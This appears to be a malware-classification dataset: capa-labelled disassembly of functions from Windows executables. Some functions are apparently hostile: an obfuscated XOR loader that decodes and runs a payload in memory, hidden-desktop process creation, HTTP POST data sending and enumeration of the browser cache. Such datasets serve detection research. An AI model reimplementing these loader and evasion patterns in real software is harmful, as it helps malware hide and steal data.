joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7f7c90
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, edx
push esi
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x7f7cdb
mov dl, 1
mov eax, 0x7f7cec
call fcn.007e3db8
push esi
push 0
push 1
call sub.KERNEL32.DLL_OpenProcess
mov ebx, eax
push 0
push ebx
call sub.KERNEL32.DLL_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
pop esi
pop ebx
pop ebp
ret

Function at 0x7f98f4
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
push ebx
push esi
mov byte [ebp - 5], cl
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040a874
xor eax, eax
push ebp
push 0x7f9970
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x4000
cmp byte [ebp - 5], 0
je 0x7f992b
or esi, 2
test bl, bl
je 0x7f9934
or esi, 0
jmp 0x7f9937
or esi, 1
push esi
push 0x2b4
lea eax, [ebp - 0x2b9]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.0040b7f8
push eax
call sub.shell32.dll_SHGetFileInfoW
mov ebx, dword [ebp - 0x2b5]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7f9977
lea eax, [ebp - 4]
call fcn.0040a790
ret

Function at 0x7f9980
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd30
push ebx
xor ecx, ecx
mov dword [ebp - 0x2d0], ecx
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2c8], ecx
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.0040a874
xor eax, eax
push ebp
push 0x7f9afa
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 1
mov eax, dword [ebx + 0x300]
mov ecx, dword [ebp - 4]
xor edx, edx
call fcn.00557108
mov ebx, eax
mov dl, 1
mov eax, ebx
call fcn.005560ac
lea edx, [ebp - 0x2c0]
mov eax, dword [ebp - 4]
call fcn.005fb5d0
mov edx, dword [ebp - 0x2c0]
lea eax, [ebp - 4]
call fcn.0040abb8
lea eax, [ebp - 0x2c4]
mov ecx, 0x7f9b18
mov edx, dword [ebp - 4]
call fcn.0040ba64
mov eax, dword [ebp - 0x2c4]
xor ecx, ecx
xor edx, edx
call fcn.007f98f4
mov edx, eax
mov eax, ebx
call fcn.00555b58
lea eax, [ebp - 0x2c8]
mov ecx, 0x7f9b18
mov edx, dword [ebp - 4]
call fcn.0040ba64
mov eax, dword [ebp - 0x2c8]
mov cl, 1
xor edx, edx
call fcn.007f98f4
mov edx, eax
mov eax, ebx
call fcn.00555bf8
mov edx, 1
mov eax, ebx
call fcn.00555ca4
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x7f9124]
call fcn.007fa2c8
mov edx, eax
mov eax, ebx
call fcn.005559a8
push 0x200
push 0x2b4
lea eax, [ebp - 0x2b9]
push eax
push 0
lea eax, [ebp - 0x2cc]
mov ecx, 0x7f9b18
mov edx, dword [ebp - 4]
call fcn.0040ba64
mov eax, dword [ebp - 0x2cc]
call fcn.0040b7f8
push eax
call sub.shell32.dll_SHGetFileInfoW
lea eax, [ebp - 0x2d0]
lea edx, [ebp - 0x2ad]
mov ecx, 0x104
call fcn.0040b8b4
mov edx, dword [ebp - 0x2d0]
mov eax, ebx
call fcn.00555904
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x7f9b01
lea eax, [ebp - 0x2d0]
mov edx, 5
call fcn.0040a7f0
lea eax, [ebp - 4]
call fcn.0040a790
ret
Function at 0x81de0c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x204], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x81df65
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x81df4a
mov eax, ebx
test eax, eax
je 0x81de45
sub eax, 4
mov eax, dword [eax]
jmp 0x81de47
xor eax, eax
mov edi, eax
test ebx, ebx
je 0x81de57
mov eax, ebx
sub eax, 0xa
movzx eax, word [eax]
jmp 0x81de5b
mov ax, 2
cmp ax, 1
jne 0x81dedc
test ebx, ebx
je 0x81de6f
mov eax, ebx
sub eax, 0xc
movzx eax, word [eax]
jmp 0x81de77
mov eax, dword [0x8c23ac]
movzx eax, word [eax]
push edi
push 0
push 0
movzx eax, ax
mov ecx, ebx
xor edx, edx
call fcn.004102e8
mov edi, eax
cmp edi, 0x100
jle 0x81de9f
mov eax, edi
add eax, eax
call fcn.004070f4
mov esi, eax
jmp 0x81dea5
lea esi, [ebp - 0x200]
test ebx, ebx
je 0x81deb3
mov eax, ebx
sub eax, 0xc
movzx edx, word [eax]
jmp 0x81debc
mov edx, dword [0x8c23ac]
movzx edx, word [edx]
mov eax, ebx
test eax, eax
je 0x81dec9
sub eax, 4
mov eax, dword [eax]
jmp 0x81decb
xor eax, eax
push eax
push esi
push edi
movzx eax, dx
mov ecx, ebx
xor edx, edx
call fcn.004102e8
jmp 0x81df15
cmp edi, 0x100
jle 0x81def1
mov eax, edi
add eax, eax
call fcn.004070f4
mov esi, eax
jmp 0x81def7
lea esi, [ebp - 0x200]
lea edx, [ebp - 0x204]
mov eax, ebx
call fcn.00423620
mov eax, dword [ebp - 0x204]
mov ecx, edi
add ecx, ecx
mov edx, esi
call fcn.00407394
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x81df37
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x81df21
lea eax, [ebp - 0x200]
cmp esi, eax
je 0x81df4c
mov eax, esi
call fcn.00407110
jmp 0x81df4c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x81df6c
lea eax, [ebp - 0x204]
call fcn.0040a790
ret
Function at 0x8655e8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x8656b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3d8]
mov eax, dword [eax + 0x300]
call fcn.00557074
lea eax, [ebp - 0x80a]
push eax
push 0x802
call sub.KERNEL32.DLL_GetLogicalDriveStringsW
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jle 0x86568e
movzx edi, word [ebp + ebx*2 - 0x80a]
test di, di
je 0x865670
lea eax, [ebp - 0x810]
mov edx, edi
call fcn.0040b820
mov edx, dword [ebp - 0x810]
lea eax, [ebp - 4]
call fcn.0040ba0c
inc ebx
jmp 0x86568a
inc ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3d8]
mov edx, dword [ebp - 4]
call fcn.007f9980
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jg 0x865645
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x8656b8
lea eax, [ebp - 0x810]
call fcn.0040a790
lea eax, [ebp - 4]
call fcn.0040a790
ret
Function at 0x870f08
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov esi, eax
xor ecx, ecx
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x1c]
lea edx, [ebp - 0x34]
mov ecx, 0x24
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov dl, 1
mov eax, dword [0x481c74]
call fcn.00408a94
mov dword [ebp - 0xc], eax
mov dl, 1
mov eax, dword [0x481c74]
call fcn.00408a94
mov dword [ebp - 0x10], eax
mov dl, 1
mov eax, dword [0x639cb0]
call fcn.0063abac
mov dword [ebp - 8], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx]
sub eax, 0x24
sbb edx, 0
push edx
push eax
mov edx, esi
mov eax, dword [ebp - 0x10]
call fcn.004a26f4
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.0065edd0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
xor edx, edx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 4]
xor eax, eax
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x34]
mov ecx, 0x24
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x1c]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.004a26f4
mov eax, dword [ebp - 0xc]
xor edx, edx
mov dword [ebp - 0xc], edx
call fcn.00408ac4
mov eax, dword [ebp - 0x10]
xor edx, edx
mov dword [ebp - 0x10], edx
call fcn.00408ac4
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 8], edx
call fcn.00408ac4
mov eax, esi
mov edx, dword [eax]
call dword [edx]
mov edi, eax
dec edi
sub edi, 0x24
jl 0x87105e
inc edi
mov ebx, 0x24
mov eax, dword [esi + 4]
add eax, ebx
movzx eax, byte [eax]
mov byte [ebp - 1], al
imul ax, bx, 0x1e
movzx edx, byte [ebp - 0x1d]
lea edx, [edx + edx*4]
add ax, dx
add ax, 0x2f1
movzx edx, byte [ebp - 1]
not dl
xor dl, al
mov byte [ebp - 1], dl
ror byte [ebp - 1], 2
mov eax, 1
mov edx, dword [esi + 4]
add edx, ebx
lea ecx, [ebp - 1]
xchg ecx, eax
call fcn.00407394
inc ebx
dec edi
jne 0x87101b
xor eax, eax
mov dword [ebp - 0x1c], eax
mov eax, esi
mov edx, dword [eax]
call dword [edx]
mov edi, eax
dec edi
test edi, edi
jl 0x871096
inc edi
xor ebx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
push edx
push eax
mov eax, dword [esi + 4]
add eax, ebx
movzx eax, byte [eax]
imul ebx
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x1c], eax
inc ebx
dec edi
jne 0x871073
xor ecx, ecx
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x1c]
lea edx, [ebp - 0x34]
mov ecx, 0x24
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x10]
xor ecx, ecx
xor edx, edx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0x1c]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x873f7c
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x874043
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3e8]
mov eax, dword [eax + 0x300]
call fcn.00557074
lea eax, [ebp - 0x80a]
push eax
push 0x802
call sub.KERNEL32.DLL_GetLogicalDriveStringsW
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jle 0x874022
movzx edi, word [ebp + ebx*2 - 0x80a]
test di, di
je 0x874004
lea eax, [ebp - 0x810]
mov edx, edi
call fcn.0040b820
mov edx, dword [ebp - 0x810]
lea eax, [ebp - 4]
call fcn.0040ba0c
inc ebx
jmp 0x87401e
inc ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x3e8]
mov edx, dword [ebp - 4]
call fcn.007f9980
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jg 0x873fd9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x87404a
lea eax, [ebp - 0x810]
call fcn.0040a790
lea eax, [ebp - 4]
call fcn.0040a790
ret
Function at 0x88c920
Capabilities:
Create process on windows
Switch active desktop

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff90
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], edx
xor eax, eax
push ebp
push 0x88cac7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040a790
call fcn.00407610
mov ebx, 7
mov eax, 0x17
call fcn.00407638
mov edx, eax
add dx, 0x41
lea eax, [ebp - 0x64]
call fcn.0040b820
mov edx, dword [ebp - 0x64]
lea eax, [ebp - 4]
call fcn.0040ba0c
dec ebx
jne 0x88c960
lea eax, [ebp - 8]
call fcn.0040a790
mov eax, dword [ebp - 0xc]
mov edx, dword [eax]
call dword [edx + 0x14]
mov esi, eax
dec esi
test esi, esi
jl 0x88c9c9
inc esi
xor ebx, ebx
push dword [ebp - 8]
lea ecx, [ebp - 0x68]
mov edx, ebx
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x68]
push 0x88cae4
lea eax, [ebp - 8]
mov edx, 3
call fcn.0040baec
inc ebx
dec esi
jne 0x88c9a0
call sub.KERNEL32.DLL_GetCurrentThreadId_1
push eax
call sub.user32.dll_GetThreadDesktop
mov esi, eax
push 0
push 0x1ff
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040b7f8
mov edi, eax
push edi
call sub.user32.dll_CreateDesktopW
mov ebx, eax
push ebx
call sub.user32.dll_SwitchDesktop
lea eax, [ebp - 0x50]
xor ecx, ecx
mov edx, 0x44
call fcn.00407f88
mov dword [ebp - 0x50], 0x44
mov dword [ebp - 0x24], 1
mov word [ebp - 0x20], 6
mov dword [ebp - 0x48], edi
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
push 0
push 0
push 0x4000000
push 0
push 0
push 0
lea edx, [ebp - 0x70]
mov eax, dword [0x8c226c]
mov eax, dword [eax]
call fcn.005f059c
push dword [ebp - 0x70]
push 0x88cae4
push dword [ebp - 8]
lea eax, [ebp - 0x6c]
mov edx, 3
call fcn.0040baec
mov eax, dword [ebp - 0x6c]
call fcn.0040b7f8
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessW
test eax, eax
je 0x88ca93
jmp 0x88ca81
mov eax, dword [0x8c226c]
mov eax, dword [eax]
call fcn.005efad0
push 0x64
mov eax, dword [ebp - 0x60]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
cmp eax, 0x102
je 0x88ca75
push ebx
call sub.user32.dll_CloseDesktop
push esi
call sub.user32.dll_SwitchDesktop
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x88cace
lea eax, [ebp - 0x70]
mov edx, 4
call fcn.0040a7f0
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040a7f0
ret
Function at 0x898358
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7f0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x810], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x89841f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x420]
mov eax, dword [eax + 0x300]
call fcn.00557074
lea eax, [ebp - 0x80a]
push eax
push 0x802
call sub.KERNEL32.DLL_GetLogicalDriveStringsW
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jle 0x8983fe
movzx edi, word [ebp + ebx*2 - 0x80a]
test di, di
je 0x8983e0
lea eax, [ebp - 0x810]
mov edx, edi
call fcn.0040b820
mov edx, dword [ebp - 0x810]
lea eax, [ebp - 4]
call fcn.0040ba0c
inc ebx
jmp 0x8983fa
inc ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x420]
mov edx, dword [ebp - 4]
call fcn.007f9980
lea eax, [ebp - 4]
call fcn.0040a790
cmp esi, ebx
jg 0x8983b5
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x898426
lea eax, [ebp - 0x810]
call fcn.0040a790
lea eax, [ebp - 4]
call fcn.0040a790
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x409b38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x409b47
pop dword [ebp - 0x14]
mov eax, 0x409b47
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x1369aab0
add dword [ebp - 0x24], 0x3ae89a9b
mov dword [ebp - 0x20], 0x57ec756a
sub dword [ebp - 0x20], 0x25b92925
mov dword [ebp - 0x1c], 0x3446cc73
sub dword [ebp - 0x1c], 0xe7fa8845
mov dword [ebp - 0x18], 0xad906f1d
sub dword [ebp - 0x18], 0xad906f1d
lea eax, [ebp - 0x24]
push eax
mov eax, 0x8d107835
sub eax, 0x8ccfa7e1
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xb85df90
add dword [ebp - 0x24], 0x68ec89c6
mov dword [ebp - 0x20], 0x86cdcf4d
sub dword [ebp - 0x20], 0x45616dd8
mov dword [ebp - 0x1c], 0xb8b8b711
sub dword [ebp - 0x1c], 0x55494aa5
mov dword [ebp - 0x18], 0x2a133798
add dword [ebp - 0x18], 0xd5ecc868
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x1ae45f3c
sub eax, 0x1aa38ef0
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x362e2
push 0
call eax
mov ecx, 0x3a8d
xor edi, edi
add edi, eax
mov esi, 0x96cb7824
sub esi, 0x9689c824
add esi, dword [ebp - 0x14]
mov ebx, 0xf60000a
mov dword [ebp - 4], 0x1304c6a8
mov edx, dword [esi]
add dword [ebp - 4], 0x3b41f730
xor edx, ebx
mov dword [ebp - 0xc], 0xf40a08db
mov dword [edi], edx
xor dword [ebp - 4], ecx
add edi, 0x2ee8f945
sub edi, 0x2ee8f941
add esi, 0xc524dab1
add esi, 0x3adb2553
loop 0x409c5a
add eax, 0xe62002bd
add eax, 0x19e0da4a
mov ebx, eax
add eax, 5
mov ecx, 0x6f38307a
sub ecx, 0x6ef8307a
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x402190
Capabilities:
Send data

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, eax
push edi
mov edi, ecx
mov dword [esp + 0x10], 0
test esi, esi
jbe 0x4021c8
mov ebx, dword [sym.imp.WININET.dll_InternetWriteFile]
nop
lea eax, [esp + 0x10]
push eax
push esi
push edi
push ebp
call ebx
test eax, eax
je 0x4021d0
mov eax, dword [esp + 0x10]
add edi, eax
sub esi, eax
jne 0x4021b0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret

Function at 0x4021e0
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x408
mov eax, dword [0x449250]
xor eax, esp
mov dword [esp + 0x404], eax
push ebx
push ebp
mov ebp, dword [esp + 0x414]
push esi
push edi
push 0x3ff
xor esi, esi
lea eax, [esp + 0x19]
push esi
xor edi, edi
push eax
mov ebx, ecx
mov dword [esp + 0x1c], edi
mov byte [esp + 0x20], 0
call fcn.00429980
add esp, 0xc
test edi, edi
jbe 0x402247
mov eax, 0xc800
sub eax, esi
cmp edi, eax
jae 0x40227f
push edi
lea ecx, [esp + 0x18]
push ecx
push eax
lea edx, [ebx + esi]
push edx
call fcn.00422fe6
add esp, 0x10
add esi, dword [esp + 0x10]
push 0x400
lea eax, [esp + 0x18]
push 0
push eax
call fcn.00429980
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0x400
lea edx, [esp + 0x1c]
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40229b
mov edi, dword [esp + 0x10]
test edi, edi
ja 0x402225
jmp 0x40229b
mov eax, 0xc800
sub eax, esi
lea ecx, [eax - 1]
push ecx
lea edx, [esp + 0x18]
push edx
push eax
add ebx, esi
push ebx
call fcn.00422fe6
add esp, 0x10
mov ecx, dword [esp + 0x414]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004223b0
add esp, 0x408
ret
Function at 0x4022c0
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
mov eax, 0x109c
call fcn.00434240
mov eax, dword [0x449250]
xor eax, esp
mov dword [esp + 0x1094], eax
mov eax, dword [esp + 0x10a0]
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
mov esi, edx
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x28], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x4024ce
push 0x7ff
lea edx, [esp + 0xa5]
push ebx
push edx
mov byte [esp + 0xac], bl
call fcn.00429980
push 0x7ff
lea eax, [esp + 0x8b1]
push ebx
push eax
mov byte [esp + 0x8b8], bl
call fcn.00429980
push 0x38
lea ecx, [esp + 0x68]
push ebx
push ecx
call fcn.00429980
add esp, 0x24
lea edx, [esp + 0xa0]
mov dword [esp + 0x58], edx
lea edx, [esp + 0x48]
push edx
push ebx
mov eax, 0x800
push ebx
lea ecx, [esp + 0x8ac]
push esi
mov dword [esp + 0x58], 0x3c
mov dword [esp + 0x6c], eax
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov eax, dword [esp + 0x58]
push ebx
push ebx
push 3
push 0x441790
push 0x441790
push 0x50
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
je 0x4024c7
mov ecx, dword [esp + 0x74]
push ebx
push 0x84000000
push ebx
push ebx
push ebx
push ecx
push str.POST
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x4024bc
lea eax, [esp + 0x84]
call fcn.00403020
cmp dword [esp + 0x9c], 8
mov eax, dword [esp + 0x88]
jae 0x4023f9
lea eax, [esp + 0x88]
mov edx, dword [esp + 0x98]
push 0x20000000
push edx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
xor eax, eax
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
mov dword [esp + 0x48], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x10c0]
push ecx
push esi
mov dword [esp + 0x34], 0x28
mov dword [esp + 0x50], eax
xor bl, bl
call dword [sym.imp.WININET.dll_HttpSendRequestExW]
test eax, eax
je 0x402479
mov eax, dword [esp + 0x10b4]
mov ecx, dword [esp + 0x1c]
push esi
call fcn.00402190
add esp, 4
test eax, eax
jne 0x402479
mov bl, 1
push 0
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpEndRequestW]
test bl, bl
je 0x40249b
mov ecx, dword [esp + 0x18]
push esi
call fcn.004021e0
add esp, 4
mov dword [esp + 0x14], eax
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x9c], 8
jb 0x4024bc
mov edx, dword [esp + 0x88]
push edx
call fcn.004223a5
add esp, 4
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, dword [esp + 0x14]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [esp + 0x10a4]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004223b0
add esp, 0x109c
ret
Function at 0x402d30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x436983
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x449250]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
xor eax, eax
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], eax
mov byte [esi + 4], al
mov dword [esp + 0x14], eax
mov dword [esi + 0x34], 7
mov dword [esi + 0x30], eax
mov word [esi + 0x20], ax
lea ecx, [esi + 0x3c]
push ecx
mov byte [esp + 0x18], 1
call fcn.00403150
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret 4

Function at 0x402e20
Capabilities:
Enumerate internet cache

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 0x1000
mov dword [esp + 0x14], 0x1000
call fcn.0042239a
mov ebx, dword [sym.imp.WININET.dll_FindFirstUrlCacheEntryW]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push esi
push 0x441854
mov dword [esi], eax
mov dword [esi + 0xc], 0x200000
call ebx
mov edi, eax
push esi
test edi, edi
jne 0x402eb9
call fcn.00422fdb
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
je 0x402e89
push edi
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov edx, dword [esp + 0x10]
push edx
call fcn.0042239a
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push esi
push 0x441854
mov dword [esi], eax
mov dword [esi + 0xc], 0x200000
call ebx
mov edi, eax
test edi, edi
je 0x402e81
push esi
mov edx, dword [esp + 0x1c]
mov ecx, ebp
call fcn.004028d0
mov ebx, dword [sym.imp.WININET.dll_FindNextUrlCacheEntryW]
add esp, 4
lea edx, [esp + 0x10]
push edx
push esi
push edi
call ebx
push esi
test eax, eax
je 0x402ee8
mov edx, dword [esp + 0x1c]
mov ecx, ebp
call fcn.004028d0
jmp 0x402eca
call fcn.00422fdb
add esp, 4
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x7a
jne 0x402f42
mov eax, dword [esp + 0x10]
push eax
call fcn.0042239a
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
mov esi, eax
push 0
push esi
call fcn.00429980
mov edx, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
push edi
mov dword [esi], edx
mov dword [esi + 0xc], 0x200000
call ebx
test eax, eax
je 0x402f54
mov edx, dword [esp + 0x18]
push esi
mov ecx, ebp
call fcn.004028d0
jmp 0x402eca
push edi
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push edi
call dword [sym.imp.WININET.dll_FindCloseUrlCache]
test esi, esi
je 0x402f68
push esi
call fcn.00422fdb
add esp, 4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret